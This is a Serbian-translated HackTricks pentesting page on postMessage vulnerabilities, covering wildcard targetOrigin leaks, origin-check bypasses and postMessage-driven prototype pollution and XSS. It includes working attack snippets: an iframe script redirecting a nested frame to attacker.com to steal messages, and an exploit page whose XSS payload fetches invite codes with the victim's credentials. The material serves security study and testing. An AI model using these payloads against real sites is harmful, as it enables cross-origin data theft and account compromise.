hacktricks/pentesting-web/postmessage-vulnerabilities
2024-04-18 04:05:43 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Serbian 2024-02-10 13:11:20 +00:00
bypassing-sop-with-iframes-1.md Translated to Serbian 2024-02-10 13:11:20 +00:00
bypassing-sop-with-iframes-2.md Translated to Serbian 2024-02-10 13:11:20 +00:00
README.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:05:43 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Serbian 2024-02-10 13:11:20 +00:00

Vulnerabilnosti PostMessage

Vulnerabilnosti PostMessage

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

WhiteIntel

WhiteIntel je pretraživač na dark web-u koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici kompromitovani od strane malvera za krađu podataka.

Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.

Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu besplatno na:

{% embed url="https://whiteintel.io" %}


Pošalji PostMessage

PostMessage koristi sledeću funkciju za slanje poruke:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Imajte na umu da targetOrigin može biti '*' ili URL poput https://company.com.
U drugom scenariju, poruka može biti poslata samo toj domeni (čak i ako je poreklo objekta prozora drugačije).
Ako se koristi zvezdica, poruke mogu biti poslate bilo kojoj domeni, i biće poslate na poreklo objekta Prozora.

Napad na iframe & zvezdicu u targetOrigin

Kao što je objašnjeno u ovom izveštaju ako pronađete stranicu koja može biti iframed (bez zaštite X-Frame-Header) i koja šalje osetljivu poruku putem postMessage koristeći zvezdicu (*), možete modifikovati poreklo iframe-a i procureti osetljivu poruku na domen koji kontrolišete.
Imajte na umu da ako stranica može biti iframed ali je targetOrigin postavljen na URL a ne na zvezdicu, ovaj trik neće raditi.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Iskorišćavanje addEventListener

addEventListener je funkcija koju JS koristi da deklariše funkciju koja očekuje postMessages.
Koristiće se kod sličan sledećem:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

U ovom slučaju, prva stvar koju kod radi je provera porekla. Ovo je izuzetno važno, posebno ako stranica namerava da radi nešto osetljivo sa primljenim informacijama (kao što je promena lozinke). Ako ne proverava poreklo, napadači mogu naterati žrtve da pošalju proizvoljne podatke na ove endpointove i promene lozinke žrtava (u ovom primeru).

Enumeracija

Da biste pronašli slušaoce događaja na trenutnoj stranici, možete:

  • Pretražite JS kod za window.addEventListener i $(window).on (JQuery verzija)
  • Izvršite u konzoli alatki za razvoj: getEventListeners(window)

  • Idite na Elementi --> Slušaoci događaja u alatkama za razvoj pregledača

Bypass provere porekla

  • Atribut event.isTrusted smatra se sigurnim jer vraća True samo za događaje koji su generisani autentičnim korisničkim akcijama. Iako je izazovno zaobići ga ako je pravilno implementiran, njegova važnost u sigurnosnim proverama je primetna.
  • Korišćenje indexOf() za proveru porekla u PostMessage događajima može biti podložno zaobilaženju. Primer koji ilustruje ovu ranjivost je:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Metoda search() iz String.prototype.search() namenjena je regularnim izrazima, a ne stringovima. Prosleđivanje bilo čega osim regexa dovodi do implicitne konverzije u regex, čineći metodu potencijalno nesigurnom. To je zato što u regexu tačka (.) deluje kao zamenski znak, omogućavajući zaobilaženje validacije sa specijalno oblikovanim domenima. Na primer:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Funkcija match(), slično kao search(), obrađuje regex. Ako regex nije pravilno struktuiran, može biti podložan zaobilaženju.

  • Funkcija escapeHtml namenjena je zaštiti unosa putem izbegavanja karaktera. Međutim, ne stvara novi izbegnuti objekat već prepiše osobine postojećeg objekta. Ovo ponašanje može biti iskorišćeno. Posebno, ako se objekat može manipulisati tako da njegova kontrolisana osobina ne prizna hasOwnProperty, escapeHtml neće raditi kako se očekuje. Ovo je prikazano u primerima ispod:

  • Očekivano neuspešno:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Zaobilaženje izbegavanja:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

U kontekstu ove ranjivosti, objekat File je primetno iskorišćiv zbog svoje samo za čitanje name osobine. Ova osobina, kada se koristi u šablonima, nije pročišćena funkcijom escapeHtml, što dovodi do potencijalnih sigurnosnih rizika.

  • Svojstvo document.domain u JavaScript-u može biti postavljeno skriptom da skrati domen, omogućavajući opušteniju primenu politike istog porekla unutar istog roditeljskog domena.

Bypass e.origin == window.origin

Prilikom ugrađivanja web stranice unutar sandboxed iframe koristeći %%%%%%, važno je razumeti da će poreklo ifream-a biti postavljeno na null. Ovo je posebno važno kada se radi sa sandbox atributima i njihovim implikacijama na sigurnost i funkcionalnost.

Specifikacijom allow-popups u sandbox atributu, svaki popup prozor otvoren iz ifream-a nasleđuje sandbox ograničenja svojih roditelja. To znači da osim ako se takođe uključi atribut allow-popups-to-escape-sandbox, poreklo popup prozora takođe je postavljeno na null, usklađujući se sa poreklom ifream-a.

Kao rezultat toga, kada se otvori popup u ovim uslovima i poruka se pošalje iz ifream-a ka popup prozoru koristeći postMessage, kako pošiljalac tako i primalac imaju svoja porekla postavljena na null. Ova situacija dovodi do scenarija gde e.origin == window.origin vrednuje kao tačno (null == null), jer i ifream i popup dele istu vrednost porekla null.

Za više informacija pročitajte:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

Zaobilaženje e.source

Moguće je proveriti da li je poruka došla iz istog prozora u kojem skripta sluša (posebno zanimljivo za Content Scripts iz proširenja pregledača da provere da li je poruka poslata sa iste stranice):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

Možete prisiliti e.source poruke da budu null kreiranjem iframe-a koji šalje postMessage i odmah se briše.

Za više informacija pročitajte:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

X-Frame-Header zaobilaženje

Da biste izveli ove napade, idealno je da možete ubaciti veb stranicu žrtve unutar iframe-a. Međutim, neki zaglavlja poput X-Frame-Header mogu sprečiti takvo ponašanje.
U tim scenarijima i dalje možete koristiti manje prikraden napad. Možete otvoriti novi tab do ranjive veb aplikacije i komunicirati s njom:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Krađa poruke poslate detetu blokiranjem glavne stranice

Na sledećoj stranici možete videti kako biste mogli ukrasti osetljive podatke poslate putem postmessage-a detetu u iframe-u blokiranjem glavne stranice pre slanja podataka i zloupotrebom XSS-a u detetu da procure podatke pre nego što budu primljeni:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Krađa poruke modifikovanjem lokacije iframe-a

Ako možete ugraditi veb stranicu bez X-Frame-Header-a koja sadrži drugi iframe, možete promeniti lokaciju tog detetovog iframe-a, tako da ako prima postmessage poslat korišćenjem zvezdice, napadač bi mogao promeniti tu iframe poreklo na stranicu kojom kontroliše i ukrasti poruku:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage ka Prototype Pollution i/ili XSS

U scenarijima gde su podaci poslati putem postMessage izvršeni od strane JS-a, možete ugraditi stranicu i iskoristiti prototype pollution/XSS slanjem eksploatacije putem postMessage.

Par veoma dobro objašnjenih XSS-a putem postMessage može se pronaći na https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Primer eksploatacije za zloupotrebu Prototype Pollution a zatim XSS-a putem postMessage ka iframe-u:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Za više informacija:

Reference

WhiteIntel

WhiteIntel je pretraživač pokretan dark-webom koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici ugroženi od malvera za krađu podataka.

Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.

Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za besplatno na:

{% embed url="https://whiteintel.io" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: